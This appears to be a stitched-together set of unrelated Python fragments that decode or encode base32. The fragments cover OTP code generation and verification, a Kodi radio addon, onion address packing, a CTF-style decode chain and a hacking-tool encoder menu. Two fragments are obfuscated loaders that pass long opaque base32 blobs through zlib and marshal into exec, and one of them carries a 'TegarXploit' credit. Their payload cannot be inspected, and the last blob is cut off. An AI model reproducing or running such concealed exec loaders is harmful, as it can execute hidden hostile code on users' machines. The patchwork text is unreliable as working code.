= new_secret or b32encode(secret).decode('ascii') mode = 'hotp' if mode == USER_AUTH_HOTP else 'totp' click.echo(f'otpauth://{mode}/{username}?secret={secret}&issuer=Coldcard%20{dev.serial}') elif not text_secret and new_secret: click.echo(f'New password is: {new_secret}') else: click.echo('Done')
import hashlib import hmac import time import base64 key = "JBSWY3DPEHPK3PXP" secret = base64.b32decode(key.encode("utf-8")) counter = int(time.time() / 30) bytes = bytearray() for _ in range(0, 8): bytes.insert(0, counter & 0xff) counter >>= 8 hs = bytearray(hmac.new(secret, bytes, hashlib.sha1).digest()) n = hs[19] & 0xF result = (hs[n] << 24 | hs[n + 1] << 16 | hs[n + 2] << 8 | hs[n + 3]) & 0x7fffffff print(str(result)[-6:])
}) li = xbmcgui.ListItem(countryName, iconImage='DefaultFolder.png') xbmcplugin.addDirectoryItem(handle=addon_handle, url=localUrl, listitem=li, isFolder=True) except Exception, e: print(e) pass xbmcplugin.endOfDirectory(addon_handle) elif mode[0] == 'states': country = args['country'][0] country = base64.b32decode(country) country = country.decode('utf-8') data = downloadFile( 'http://www.radio-browser.info/webservice/json/states/' + urllib.quote(country) + '/', None) dataDecoded = json.loads(data) localUrl = build_url({ 'mode': 'stations', 'key': 'country', 'value': base64.b32encode(country.encode('utf-8')) }) li = xbmcgui.ListItem(LANGUAGE(32006), iconImage='DefaultFolder.png') xbmcplugin.addDirectoryItem(handle=addon_handle, url=localUrl,
def byte_secret(self): missing_padding = len(self.secret) % 8 if missing_padding != 0: self.secret += '=' * (8 - missing_padding) return base64.b32decode(self.secret, casefold=True)
# coded by TegarXploit import marshal, zlib, base64 exec( marshal.loads( zlib.decompress( base64.b32decode( "PCOLKVSLN7NUMEC6SKJCLUMW5U6J2JRJIAKW2I5DRAOD3YQENIPG4HSN3IRECKZHJDVCAMDIOIRVDIKIQZF5LEJBT5NKAPPV33PHXTN55CQ3P7UE72FPZB3WMZ3FPNUQAQHIVBQSS7P4ZTQM66N6LTVOY7KGLQV5A237QEY2D77AMCYZ3OMGBA3NDANJW3GD2TMGEG4WYY43NELD3RQP2PHTJX3L3QIM35RD6QEUDGW42SLNTZWRIGBPWBN3P6IM6NTURCNIGBA4KCJKJWIC3HLHFFSJD4IS6PT5QU4TUV7TADXWRQMRDDLDXVNAMDWBH5YN2FPXAA7PPO3H4OCEOTRPZMJNCXSZDHKEN4JQDNXPDGQXB5LLZHQ3IU6FZOL7XV7ID57CTMLVWX7MPS63GEZEO56H7GFMP6Z7EXPA6NMFYTNW7IUQ6Y6XX5OD6V7XBSKTIC7O5OMLRK7YU2FWZTGYRXD6PWFOYEZMN6SA3NSGHA2GVZSIXBU24UUCDMXHLGAT3AA4VZLTDYG552X37YHV7PK6UDEIDG7EBDCEQ2BMQ7AYPCLAPOE5AYMSP5BEDSFB5RAD3NQCAVJC4Q6KC2AZRZZYOWS6YWE2MRTAS7PSLW56DO5BC6ULEJ3BSZLDCFXOV4SC52TOE33QWZHT22WWH6WQ63GHLFJROATH2JGGXNDCX5AK4FMHFYAPBA56BINCTDKDCKATKBNUQC7JKSVFRXXOQWABO6T2FI5BD4E5QEUAK3NK2VLMSTNMUDQBYRY5VFMJNNNQVFP5ABXHAAYF73U6DIHIJCCSHNNKUGPLMI2NNRT7VAVMLWAKYXMGM4BZ5D2Q2ECPBWJQ5PCWSW7X37RV2N2VDF7JRBDRSDUZ5R6K6OZO3FHWMI3FJTALHITIE5POBXQZWGF5CID23PMUN5V7YWEPZILBLGDEUWW5PFG2XEMXT2JIZGODWMHXHU33JBNTM7KXRRPKTIVXQ7LVZKUPSWVDMZR4VKHVLKR5LFRNR3XRTHNPFE3M5TPHIFTHX6EBS3QM52KFS7AOVSEYLJD3WDCXD6KB4KAK4JB4EFQVRCLWZ5A3TFI73QNFNGUEKCNLCNLOHLUJZNWAYRJNJ7S4QYV3C2JSW5DMSFFY5QP2DNF7OPAWVJYZ4LKBSVNNVHOBJD6QEFRKVRICNWZNKB4NBTESLBSOGIXLIMV6WHAKEUVACUF5N2G3CCDGG3EQ7HV5MSDGD6DFKTG3F7U4FQKLEE72DZDJFXZ46HFRTCAXRDPQWY7U4NA7ZSVMH6HRJUIAFL3CEMS36IH73TYMLYMG6ZXQYLIAYDQTQO7YRQIRMKIJQ36FMBQR7A5D56DECYV6TFAWE2QGY6EMCTZG4LR4JIDBXUKYHRL5BSLN4DMDQ32WMBQNJMZTQQIMX22BBP2HBRBMWP4JJ2DVR7ZQ6NH4SPPLBDVR6ZP6NEJCEOQNVRL57R25JJONUW5GKW2ZI6PE5HVKGNDJSAUJWZNFXGRGWIHNJH2QY55CON2XCVSGUOFKMPB62E2VAF5OZ6BZAT3KM2TLMMBMAX6DT56EA64OSD4SHDGZZANKLSUK6KVBQY53PKGSZ233YLDQK6WSKI4B52NQA2BU3ORDMPIMURZHN7ZQCDOHMRIQW322BRGKLYPLIS2FK5NEOKN6OWR2444NI46HK3WEKGLV5VUQ2QN6FI55QFX4SESI4OLLRNSVL723SF73XR5IMBT5MZ4ZTXE32K6XTED3WOQ53SNNEXOVUB5ZVW3KNXGOJO37GVE457YTIGFYZZJ4QQ6PXHX3WPJHOGP7FAEODNZDVAVMPIGCLLGVVG532GKEBEOFXMAPZ5QQIUXO7JMQCDYZ6EQIDCJFVTTIUDQ77ZYJACDFTKSNIDJAOQ655IJXZEBUULBY3EGNYIHK4D3NAWOCJY6CYSJKGQDEQIT4TNAEOSWNYZ7GTNJFUUHMN2LALARBXKZDC4OL36FALLJFDPK6DR4PFHKPODMEKBMIDCTMVJKWP3PIFWRNNI6WV7KXBZQR3XEEJ6RPYM45X7TIYE4GAXWWD6BNYBZZ5HTFYM3EVRRM6TSADTKPNQLP4W57PGYH6HSPQHEG44YTSO53SWNVGE73RTB2D5RXGGQ3JI4SL3QMGZC72DMEOE3SMZRKITSA4OEETCIJ6OUGULE2KQPMB5BX5BOSQ3U3QZEWRVJL43GP2CEPJL7U2WOPCLY545X2Q===" ))))
def packOnionAddress(onion, port): onion = onion.replace(".onion", "") return base64.b32decode(onion.upper()) + struct.pack("H", port)
import base64 original_data = b'This is the data, in the clear.' print('Original:', original_data) encoded_data = base64.b32encode(original_data) print('Encoded :', encoded_data) decoded_data = base64.b32decode(encoded_data) print('Decoded :', decoded_data)
def base32_decode(strs): bytestr = strs.encode('utf-8') decodestr = base64.b32decode(bytestr).decode() return decodestr
#!/usr/bin/env python from base64 import b64decode, b32decode, b16decode, b85decode, a85decode txt = "R0FZRENNSlFHRVlUQU1CUUdFWVRBTUJSR0VZREFNSlJHQVlUQ01KUUdBWVRDTUJSR0FZREFNQlJHRVlEQ01KUUdBWURDTUpRR0VZVEFNQlFHRVlUQU1KUkdFWURDTUpRR0FZRENNQlFHQVlUQ01CUkdFWURBTUJSR0VZREFNQlJHQVlEQ01KUUdFWVRBTUJSR0VZREFNQlJHRVlEQU1KUkdBWVRDTUJRR0VZVEFNQlFHRVlUQU1CUkdFWURDTUJSR0FZVENNQlFHRVlUQU1CUUdFWVRBTUpSR0VZREFNSlJHQVlUQU1CUUdBWVRDTUJSR0VZREFNQlJHRVlUQU1CUUdBWURDTUpRR0VZVEFNQlFHRVlUQU1KUUdFWURBTUpSR0FZVEFNSlFHRVlUQU1CUkdFWURBTUJSR0VZRENNSlFHQVlEQ01KUUdBWVRBTUJRR0VZVEFNQlJHRVlEQU1KUkdBWVRBTUJRR0FZVENNQlJHRVlUQU1CUkdFWURBTUpSR0FZRENNSlFHRVlUQU1CUUdFWVRBTUpRR0VZREFNSlJHQVlUQ01KUUdBWVRDTUJRR0VZVEFNQlJHRVlEQ01CUkdBWVRDTUJRR0VZVEFNQlFHRVlUQU1CUkdFWURBTUpSR0FZVEFNQlFHQVlUQ01CUkdFWURBTUJSR0VZREFNSlJHQVlEQ01KUUdBWVRDTUJRR0VZVEFNSlJHRVlEQU1KUkdBWURDTUpRR0FZVENNQlFHQVlUQU1CUkdFWURBTUpSR0FZRENNSlFHQVlUQU1CUUdFWVRBTUJSR0VZREFNSlJHRVlEQU1CUUdBWVRDTUJSR0VZREFNQlJHRVlEQ01CUkdBWURDTUpRR0VZVEFNQlFHRVlUQU1KUUdFWURBTUpSR0FZVENNQlFHQVlUQ01CUUdBWVRBTUJSR0VZREFNSlJHQVlEQ01KUUdFWURDTUJRR0VZVEFNQlJHRVlEQU1KUkdBWVRBTUpRR0FZVENNQlFHRVlUQU1CUkdFWURDTUpRR0FZRENNSlFHQVlUQ01CUUdFWVRBTUpSR0VZREFNSlJHQVlEQ01KUUdBWVRDTUJSR0FZVEFNQlJHRVlEQ01KUUdBWURDTUpRR0VZREFNQlFHRVlUQU1KUkdBWURBTUpSR0FZVEFNQlFHQVlUQ01CUUdFWVRBTUJSR0VZRENNQlFHQVlEQ01KUUdBWVRDTUJRR0VZVEFNQlJHRVlEQU1KUkdBWVRDTUpRR0VZVEFNQlJHQVlBPT09PQ==" # print(txt) txt = b64decode(txt).decode() # print(txt) txt = b32decode(txt).decode() # print(txt, len(txt)//8) txt = int(txt, 2) # print(txt) txt = txt.to_bytes(txt.bit_length() // 8 + 1, 'big').decode() # print(txt) txt = int(txt, 16) # print(txt) print(txt.to_bytes(txt.bit_length() // 8 + 1, 'big').decode())
def verify_otp_code(self, code, remote_ip=None): if remote_ip and settings.vpn.cache_otp_codes: doc = self.otp_cache_collection.find_one({ '_id': self.id, }) if doc: _, hash_salt, cur_otp_hash = doc['otp_hash'].split('$') hash_salt = base64.b64decode(hash_salt) else: hash_salt = os.urandom(8) cur_otp_hash = None otp_hash = hashlib.sha512() otp_hash.update(code + remote_ip) otp_hash.update(hash_salt) otp_hash = base64.b64encode(otp_hash.digest()) if otp_hash == cur_otp_hash: self.otp_cache_collection.update({ '_id': self.id, }, {'$set': { 'timestamp': utils.now(), }}) return True otp_hash = '$'.join(( '1', base64.b64encode(hash_salt), otp_hash, )) otp_secret = self.otp_secret padding = 8 - len(otp_secret) % 8 if padding != 8: otp_secret = otp_secret.ljust(len(otp_secret) + padding, '=') otp_secret = base64.b32decode(otp_secret.upper()) valid_codes = [] epoch = int(utils.time_now() / 30) for epoch_offset in range(-1, 2): value = struct.pack('>q', epoch + epoch_offset) hmac_hash = hmac.new(otp_secret, value, hashlib.sha1).digest() offset = ord(hmac_hash[-1]) & 0x0F truncated_hash = hmac_hash[offset:offset + 4] truncated_hash = struct.unpack('>L', truncated_hash)[0] truncated_hash &= 0x7FFFFFFF truncated_hash %= 1000000 valid_codes.append('%06d' % truncated_hash) if code not in valid_codes: return False response = self.otp_collection.update( { '_id': { 'user_id': self.id, 'code': code, }, }, {'$set': { 'timestamp': utils.now(), }}, upsert=True) if response['updatedExisting']: return False if remote_ip and settings.vpn.cache_otp_codes: self.otp_cache_collection.update({ '_id': self.id, }, {'$set': { 'otp_hash': otp_hash, 'timestamp': utils.now(), }}, upsert=True) return True
def encodeall(info): from core.build_menu import buildmenu try: st = input( color.yellow(' [-] Enter a string to be encoded/decoded :> ')) m64 = base64.b64encode(st.encode()) data = m64.decode() print( color.green(' [+] Base64 Encoded String : ') + color.yellow(data)) #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data)) except Exception as e: pass try: m32 = base64.b32encode(st.encode()) data = m32.decode() print( color.green(' [+] Base32 Encoded String : ') + color.yellow(data)) #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data)) except Exception as e: pass try: m16 = base64.b16encode(st.encode()) data = m16.decode() print( color.green(' [+] Base16/Hex Encoded String : ') + color.yellow(data)) #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data)) except Exception as e: print(color.red(" [-] Caught Exception : " + str(e))) try: m64d = base64.b64decode(st.encode()) data = m64d.decode() print(color.red(' [+] Base64 Decoded String : ') + color.white(data)) #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data)) except Exception as e: pass try: m32d = base64.b32decode(st.encode()) data = m32d.decode() print(color.red(' [+] Base32 Decoded String : ') + color.white(data)) #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data)) except Exception as e: pass try: m16d = base64.b16decode(st.encode()) data = m16d.decode() print( color.red(' [+] Base16/Hex Decoded String : ') + color.white(data)) #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data)) except Exception as e: pass try: data = urllib.parse.quote(st, safe='') print(color.green(' [+] URL Encoded String : ') + color.yellow(data)) data = urllib.parse.quote_plus(st, safe='') print( color.green(' [+] URL plus Encoded String : ') + color.yellow(data)) except Exception as e: pass try: data = urllib.parse.unquote(st) print(color.green(' [+] URL Decoded String : ') + color.yellow(data)) data = urllib.parse.unquote_plus(st) print( color.green(' [+] URL plus Decoded String : ') + color.yellow(data)) except Exception as e: pass # more types of encoding still need added # encod = '' # stri = list(st) # for i in stri: # encod = encod + escape(i) # print(color.green(' [+] Encoded String : ')+color.yellow(encod)) # m = st.encode('base64', 'strict') # print(color.green(' [+] Encoded String : ')+color.yellow(m)) # m = st.encode('hex', 'strict') # print(color.green(' [+] Encoded String : ')+color.yellow(m)) # result = [] # for char in st: # result.append('\%o' % ord(char)) # print(color.green(' [+] Octal Encoded String : ')+color.yellow(str(''.join(result)))) # m = ''.join(format(ord(x),'b') for x in st) # print(color.green(' [+] Encoded String : ')+color.yellow(m)) # m = st.encode('zlib','strict') # print(color.green(' [+] Encoded String : ')+color.yellow(m)) st = input( color.blue(' [#] Press') + color.red(' Enter ') + color.blue('to continue... ')) buildmenu(info, info.main_menu, 'Main Menu', '')
import marshal, zlib, base64 exec( marshal.loads( zlib.decompress( base64.b32decode( "PCOO27L5NQOES5S76UGIPHAZZ3YJXIVIZ6THNJNFOZH7YGDSJBE3XFEO7JMISJ4J4I3LLSZ3VYC2FSLOBZ5T5OTHXONSWUJLHJ35D6XOG37DYZB7F2DO6DGYBFQAHQIZI2BGAY77CERU5TQBAIMA4AX7ON7RR4B2P44ASAX3V7CMABLW3Z55LHZTZXU6CHJOL3NSFJLCKV2VL5PLL66XV5PKXWVO4LPG7R2MD7ZPYJ7WWJ6JTABP6BCWMVWN3CYLNROXBYYJW2PHBY2JW2PHJYY5NS64HDNH3B5MVDLXWL2U4N66YXLLXXDYTKW2PXLYQ2WWPXDYS2WWPXLYG5N665XDHG3J447DPG3J5J3YQJKXWWFNS6W7OMSBAFVPVGACOT2DGBJIDBQAVXD3SAUXBVZBU3AP3BUZAJ3TVQWUH2TPMM3VQCUYGTA5MLVDAU4PWAJBIG3BNITSWH3F5IEHWBWPHQNE4HTDPN62CJ272NH3CDXVHCVWJGLZI6AB7FNR6IE2MZFRXCQAX3GLP2CZG3H5ERKHRRNL6BA2AQRXKVYBEONPGZLM3M7KFFLDXTOWJ7BRGQV2A7XV2E6ZXLENHPMIO2GQAF6UGGTAVPBJQGK46MFFR4TZFLBMWJT5BIJPGD2QKVT6SGUWP6IFJCOGG6HZEVLB5RYSBJADOAGXARAQDYEG3B3IFFIEVS2HDHRZ4QG7HKTH3H5MWTBZYLPIOZS7MFVINFN7YAKMB3YVNBDFRP6A2QF2YPEBJUFGVAUVE6MXFFGXTORHVI2UN6NCTRZIKJQMU4MKZQYOKBCFM2MQFCAVTFZIVLOPWEJOJTCTPAIUH6ISQWLSTZ2VBJPWHSTJVK4MAFEREJLZQMSGSGVUYOKDSEXTFZIFRIWDFZKFRJOGHSSZRJOGPSRZRLOGBSSLCS44TFDRRK6M5FHTCS44LFEXFFZJWKNPKBSISKK7UDEJPGDSQERHPGBSIGI3WTF5Y6KESVSJGBJUTKWXHEJAX5CHE6HFQHM7QII2P7IN7QWI6CYQWWZRAPGYGFKVSWJRRSVILA7S7DN5HL26TKX7T4PJIC6BBCGPATRLHALYGEIJ7K2ZI4QF5V7KAVI5GLK3VZLMLGV2WUR6XWQT2UNG5PDEVLX6ZKUWNVMT26DFZ7PDC5F4VBGNJ5ZYXW6RAXBXORO53MRVIO7WTGUGZEX6AHNPTHDCGS3VGLJBAKFSVXNFUTNVHMQLC23PL6SNZGX4PABXGNJMM4QQE32CVUFYWJKVW4WQTEXX5OVCST26TK4DQJMOF7VIU2LIZKVSEZMK642F3G44FFGEYTIUBLC5TSMLYUE7DTKXIVGTSL5OTBALQMKZTCMC4TGMCZTMJN2U2MBBEJZBHE6WPJ5A3GW2UKU3LMUPX4GGTBZR2CKIIDVPCD4ZBWWC4YBHQGAADMICGKS5JAPMPPR6DH5QPV4B52GUF6YBL2CHDPDE4BZLU5IOAPDFNTSPH7Q7Q6QEG4ZH6ERPIVJZRWBBFL54OOBK3AKMLEO4ODS4W3JD5YZ46UJYLWVET4UNMLXYRHU5UT2ZPFEOIHMOXRV4RCSY7LSX7BR7773OU6AGHEAQHTKWJUNTTHHXYQPPIBJRQVROQKQQA7O3AZ6ZTX4NOVUMLWNUUPJSUELMLNVLXPLA5FJHN3BCZK5KVJ2442IYNSGWHP2SMAS3BXISOESLA6INPDYDYZXHVDT46CE5IKD7BL4FXRALPM3FWMCCYSSEXEZ2HYDSA2HBYYEILO3TS34UCMCB7IMVEC2E566D6U6QPDRRE66S7XSRVO53EOMOB5TWG4ODSKINP2JR2TDZV3KTDQRBXKNKKDKXTTHNECFFFQQWKKCYTNCL3UVKO3U7HB3D7QI6L5DHNPHRWDAPNE7MFEY7CU6BMXVQ5JHBFFGRJQFWI6PSLWHIZDJSIG4ZQ6FO6DFSGWN2UPCDCGCQILATPK2Z3STGPVV4KZROZJRRURTJ3SHFG33ALFJ5MFNDIYKTBKXJGZ2WQFKGGPA2VWTSQWL4M6UPFF6EJIKCUHLIYAMWS236JSTLV2AGBUDLTXIGOUZ6BZOS4DR75XQ7A6ARD7Y4NQ2LBAD4JSWMPEUAJBHDSDAJYIYABXAADIBAARYP2CHAAFR7ZHJ4LOBXEAGQHSSJYGU5TDTNPPMRR6C3V6GIEJXMAPSZS2IF2LD46SY3GFX5HVV33KRBRNECH3VTRVGVSSD7SZACM6CAXCVI6OLYNK6SU3ZZUPATNCKZURXAY4RO33JESDCOMEQLVAEWTPQJGTWAT4NZR3TRUDFQXPOCXCIBKBRYPRMCZ2OCQ7A6HV7ISECDM4XD4EKCF2JRHRTRTQKJE647ZYGSF7A6KR5XEM7ZENBC5DUUVH467KM776OGU7P32SUP3HYCAEUKBMESTE3QGKQZCRAP6KCEFNMZDMIKNMS4SX2WLTCM2MZ7KC356BKNMEAUCGOZDF755TRW7YV7R47HCISO7RN7JL7JKK4IYV7ZLPG5OGRPPX2OCZY77UJP446LGRKYMEQNG76CRWCKSCROMO2D4SRV6DSTOGUMUH4H5M3TZEP7BDP4SYRZPSJO76ERR7O7V7AJ7VF4C72YFTV2QHM7PX4NLT7BH6JFHHSAJ4CHTXM346E26EZA3X4YIPYESEHEZJJQ5DCKAK3Y2FHPVUU7R53WI3VN4CFCQHYPVPIDQLIUNJJ5HXV4ODLSQ2N27CLCNCYPRSFKVC5PYOQN6NEMRJ2TDIS2YGV3MWG32SVE5FI3YYR33CRTFVHS5VXL2ZSEJZMZ5DFLFKMJO4232YUJZXJ5PVCU4P6EK4TH2AK7MOCNVM2RFUCVUNSNQOFM5NNFLW6ZVDE5M3XFQA4Q2RZQLUXWDZQARXQDYTDKDH4M67ZTQKTZQ6N56XXXQ37RV3RAEGL2AO26XF5QJ6QEWBFOLN7URFZ26CJHLFLRBGHMLFSQZJJQTE3SHOUYJ3EIN4WFCYKOW7VCXFE3UYJM6KE6UEJD7DYTG2KZRIG4FSK7QFYU56TBFP4FQKOEVZCCMQI2PZCIFKPHLAM6VL64LJ577NT47PQBYPUL67P22XHT57QUQQL2A7WZ5EYZDTYUF74734TWQNNPCUC4WI2PCKZF6GNKVS5GHBDDE4426SF2S2KKCR4KEQEJDGPJRIOECRHUZ4OJA62TEU36WSQ6T5K5LN5ML3LADN46ICPVVOGEZM2BDG2E5YPJFJYI5BALA6XHYIJH2RBD336OILMKJCPJCPKLGOPYJXARY5BU7Q7ZDYR5R7WXQKXZ562R5JZWVHTZYKPWO2MB3VGGT6ISMAEPKLXCEFJAJXSRF6F4HCKXPUKUT3CITP44YUFNQORGXJ4Z7JJ5NUH7VH7OTSRQW272ZOWMHTWTFL7HOGNOSWZVRMUHSV553JN43XD3TABP4KO24P2YJA2A3WDC5WVDP5XYJB27VXXDBYFSDXNR5W5HK6LSWJSMV5M5RFWUO6CMNQM3LSM2PJK55WSSFWFXPWUCSXQ4GVGTE7WMONXJBXLFJM447DWFP7VJPNR7OTS4IZOVHTI53HJKVVQXKBDVASQXRQ5FBZISKAF56XGSTZKPMJRE3GJG3WN22AWFS7GF3DE6BT3IYHCL4I4OSVTORZ4HK7D7WXLZEOQ5MLV5RRAZCOILJJ3X2SSKCIUO5RD6MXF6BKRGRJCIWLYTICT2ECCSJRVIPMYCGQWJKOD72OYDOKSGBU4BXG55UPXNCUWWK5FSI7DEV222NHCRYHKVVQ7GXKVUZTJ7KEK2LGPT47QM764YHYJZA5BZEEUQZAQG2YF6SLHE4SCW5OUSC6NOPKJPWXE77DS6QYFKVYHJMV6F2Z3X7JBKQK36XIJJ2H4HAFQNKLMLRMKRSZQLJVODJZI5RTPFCRLHQUXU4TCMLA7RLRIURKU33K2OSQGKGVCVREW3NNNKHKUUYTVLRO5W7XE2SVPV7OR5PPEZYWV4LY354XFT5L5OVLOCLNXVMZ5PNOJ662XKUOV3WVT5QGNLBFEKQZYBB3MN5SAGAN3WKXSMII7BCLVNXTGTQR4U6ZHBN4KOUT63IY66SQM66TYE5ETQ6H5SJ3LFM6BNSWNXVNOKTELKTAWA53VHNHTC3R3PNBKRSFS3EXYZ5KUXJK53VDH5WNMNT5NVBHY24XETWGNSN7K2NNZFTW3MKHSZU3HOKLL456DVX2SFKZDRJFDXCED7V6MZN55KK6QS2PT3AFL23KUKQ34VQD5HSMWQK3ZNTY5SP2XVTJVZBMT2TFTY7OFXLOKTKLB53BKBVSU2GYW7BM3PAON5MNXFVITD5ZFLR4UN4KOGWAGWUYV7Q3U2GINW4G7XTZZ7GFIDUODN6WBWBWA3OV2BMXA7EWYMXIL3MGPFVU27QAESIQITZAKZUQCIKWQBLJODKY2HHJDIIHPYSUYW6AJ4YVGAJD5R2FFGSCK7MO4RQ73LWUBOSU5ZDC3ASYNVC4QBLMH37EDHJ456AQQPLRELIKWQZPEBAEC5EDS3JUGZVIALNUGVKCQMXZ7KH3SOV4CUIQJNIJDULU6WP3FBGPUWT6V32B5YVBOVZSNHRQO4C36XUOBCU3TWPJ3HU3TQXBKZFKZ3UJJO57E5B25GVL76LL766PPSI6N5XB6EX6UKRVJ4T5CUMHVCFFE5T6PJVHZPZROLUSEV53E3ULOXQHQWCCH54WXX563LETGO7XT75OTDKHZXYVHG5G42VIV5NVM2NLXRRSSC3WYOY453IDYAECMZOPQRT6DY5PTIRFZHEGDDHEJVBFWVVFS4KILYRSCJKOK4TTDKLW27P2XKAIWTXJFLZTI3VUDIJSDIHJP3PTZPEOP5WJNQNCPDFKNKV37S7K2ANQUZBSDCL7MFNHIG232LLJ3GOPFMLGQHZOC6UAWCYUDIDYWIX4HHW4Y72IQNS2SDASQDU2PUYNX656UDBZX42LAESBIHZYHYIBWJRORSRYKYMJYRIJN5KE2A7I5IQNDNCBUNUIHF6YITEKTMJFFHSPWS2OC2EEGK5AFCTBTOKDBJRJMUOUL4JIBW7VFRUGSSDVQBW56QFN7NU3N74H54NXUI4MBKHUNFFLWSLDHHXMU62MIJKRZSAGECENISDMPUKBYRRRUWRT6XE3BY7V4PONJA4BY7VZMHXSEEAWIV4GWNYFFX3TA6QBI5TT2G5RA7QO2AK6O4YQJHOMUJQOPMMQPASZUOHCMUPA4ZUNHOMMOKHTHCQ4JCOR5XXSEXAAT326NNIER33BKZZC3O7DNZHLXREH764JMKIABAJW2PL4AMVPAMJQN2BRRRLOIVI2UWPMU5EOMRHUSFDXI4H7ISYMXFTGRCK5CBT5FBRKQ2WFKLROOJWX3FBUFO6XHNWOX74WSIVUXNNRHFYV5YXTR2CCK23BJLTZTN6XX5G5LW6SXC2IG3PCKA7V2KAPWR4YNRYSAGRHLU26NLAJ27T4X7QFNJH5OJSXOU3GESPFY47UDAXXIFY7AFQSA2NF3ACK7WL3WWE6UTNL7GTEMKYUYRO4YWADQXL432UVPDSFVFVPGGVRL6GJGVYCBFAINIFGQDWCH3RRLSQ6QVSAR4IFOV3QCD2BIURAWVHK632ZUCG4SBEMDDTQS4JPDHAWA5IBASVXOF4CPKWDUQ4CKLALZEGQ6UWCYYLTA6AGQLVKODID5JR635IOUJM4ERTBWWYSSGG4HHQVWOVGQXSO4UYRKDZF4MVFOCCLNGRJM3V2WIMJ4WUW2UQ7PEH36PSPVG545PVCBLMTZ3JDHABOF2ZUCDNGPNWRJ2ZIQKJOQ57WC76DT3X74URI6LJNBJWRUX74NWW5HZIGWNDZOTLCR4XR5RIYLZW4TTKTRA6KE6U4JP7BJZJMQF3IW4DYVPDXZJ3ZFSKRS4J4MHPGNDQWQJ6OO2BNTA74CE6ZAOHTRABMMXOCTNDF3SNGXZOUWDJTXHNMGTMHQJK7JRFVUTKCMZO4AJF7QWEQCCJFCLVVBMG7W4YUVCZAJUKCOVOFURMA4SXXELSOGMO3SPVLRFSJ6IYFFS4NSKWJY57FW3YAJGW5YGA36YHDYAG2MQD2YBVT3Z5FWRV2VESTWMEGG62AKFUXWXTUQRWGD44PXIR4N5Y65TVNDGLLG5ZD2E7QC2MXZGNY64BEHE7R33I46XVTCIFPH5A2FTH762VAEYGTTLUNTNYSITLIL2GRE2CLPFUMFQNLF3BFVLWZLJE6JQEQZZO5HUQZNJUHBD2PJFZJWRFITXFDNTR3AVPXFO4PTFT2V2AOLDWMX4JEFQ3K7EAYA6D6MLTYYVOQGYXDYEQ4CNRI4Q4JA4K6J44SCJAQW2WXCQ3QFARCRXHQYTAEIQCRNEAUCYTYMMRBM2BTMOA2KI4HRY6XZ5P6SWDPH5PBB42GZ4LRQBOPLAJPXAJQDZL2BV4IYB5XNUHAMT35WUMGPLBUQMUQ4E5FIJRDMDBTV6TRN733ELBEL2WHOOD2GFVFUL2OHFDKCLR4SLRH2ADWTFQ35T3AG5OFAFACQNTWSJFAUQBVOHJZBC6VCZ5NKS6DNFBOJC4UIOSYNNFUQW5R6OAQOSY7CASEDHEQ66W2QV7OOCCJK2WECVRPVULDU2OM7KFVSMKSW5PNNKNKG3KGVZ32QO2DQPLJPRGINVQDKBDX544XVRKWLPGQR5GHJQTB3VAOQIV3YTDUNIFNCLUXL2QJGPPH4SNVVABP4TRDLAB7QN6JUNTN4MOU2PHFGHITOJBEGFDHQMAFOZ4M3RFOAU5NTKGNY6R2QESBGELI4YOCY74DEFC4SCP4N3PWJFXTE576SDP7FDP72MNCPRZUQN6CXB23HPRJVWF2PDQYJFYSBZKSTFYKSTF2KZ3KBOHSCXBEENYJCLDJRPPHXIEMVN5GDPQ6DUW3JNSPP67IXYLC57OIPZL7JZFJ5QJS7W7MRTIRGGRBHUMJCYF4FEDMF2LSYLU7FQ72R3BJX7GUAXJFGA7KQYB4KRALVV6JM2YHNFWZZN6A5EMN2OWPDVHOBWPSNMM3L5FCNANEP6DMHUPWL6Y2SSDQ6KWQVCIKUWCJVWX374NHBEL2MDAQ7PSCIHUWJ3YDC6D2TMXP2FS5HULAIIUW7OYTBBU7UXT7RTGGBERT7TY4E7XCBXQWGAL5FXGPGB4YPWKESO2GLRHJHO6L7AYO6YQGYESVZ2ZFDE7NMXZLFHLF4I44NW36G7WBE7OZBUS64USWH3D4TRX2YD7QOKE5Y6OIER3SPVYU6OMMZS6Y2APMDPO46MH2C5WBQRVA6HXGTH4XJ6Y2MON2OQAUROMDEQSDBGLWREJFZIMUFLVG7HRUCQRHLO5SCYFK6PMDP42MDPM4FE4YABCV26MJ5PUIPKQCHBIJDQZ7RYCR67NSJP6J72FU7WOVU7D6Q5OFU7TRX54WN2WS4LJXS4RTG4T2G25WIWUDEDMX3F7G5LI5NNLHCMG3OC72VJSGTINDAYTIOZHMLWP22DFHN6BIE3N54WOJ2HLSDJKYOT5WSLPEHU3ELF3BJ2MWOVGTG2T5UHXJUMGGNKRMWOBXPHG2V443GE6V447R6TFNY43B6JGZIETLCT2UGR5D5SWFXLWW3PBJVHYZE5LONR5A7TVKIVF632EDPLAWPVODB4OCQ7NNWLNKXK7QGJP7MDZW5XNLKNOEMDIOTMSZI7HVSJUTJ6SEUHAGYK6RSBHO6NWRKX7VJW5KQP7ICZ4X5AH2POFPV3JI3QAKDB7D2MPCIQTEJ4QH47QNVZ2JZU2NLJK6LMR3LFO46XYW6WXXS5Q6HODGFCVLVIS36ERNSFOIZHC5S2ARQG7E6T7E5SD4PRHH6EO67JKBY4LVJL53DLJ7RAJPVBETGMPNX7S67ICTNDTR55WMYGDYC4TZAIKBZGN67L2DUF7IZTPZXOWXF7BSJFRNNRGUG3C5YBGQR75AFTTGQQBXKPFSNOXWKIKKNU3RB5WGIFM745VSYVAS4E2HZL66RSLOZ44BXIJJGJPWKM7T5YRMIXIHL3RCKYO4JWUEDDE3EEGSG2ZJ7MIARUOUGZOE2J23WUOQVJ3TCUAS7CNSCTVM62J6VAEVNHBDGF3QSA344XOPDCBAIKBGUCECGKUBLQPLOQOTRWDZ6GI64BGCILD3SSRUD45PWELVA7MRAASQS55MUBWRJK72DQBSQL3TXVREEK4MXBKJ5CVBEKHIUCKSOIZJZC5VIXCPCIYUP2NQ2ITYBCIMYRJBTNUQXSPOERQJBTQ5DDEE4PMQ3B2RTSGYMYGZBTCVYUQZXCSF6L6K4M4RUUAMQ3QFSLMLJE74VBTA3E63IEQZXDSH6L3TRQSI752EMDMQZRK4KIM3RZDPG4BFVC72FJZXMHLN4F3VWCUBV35ZBW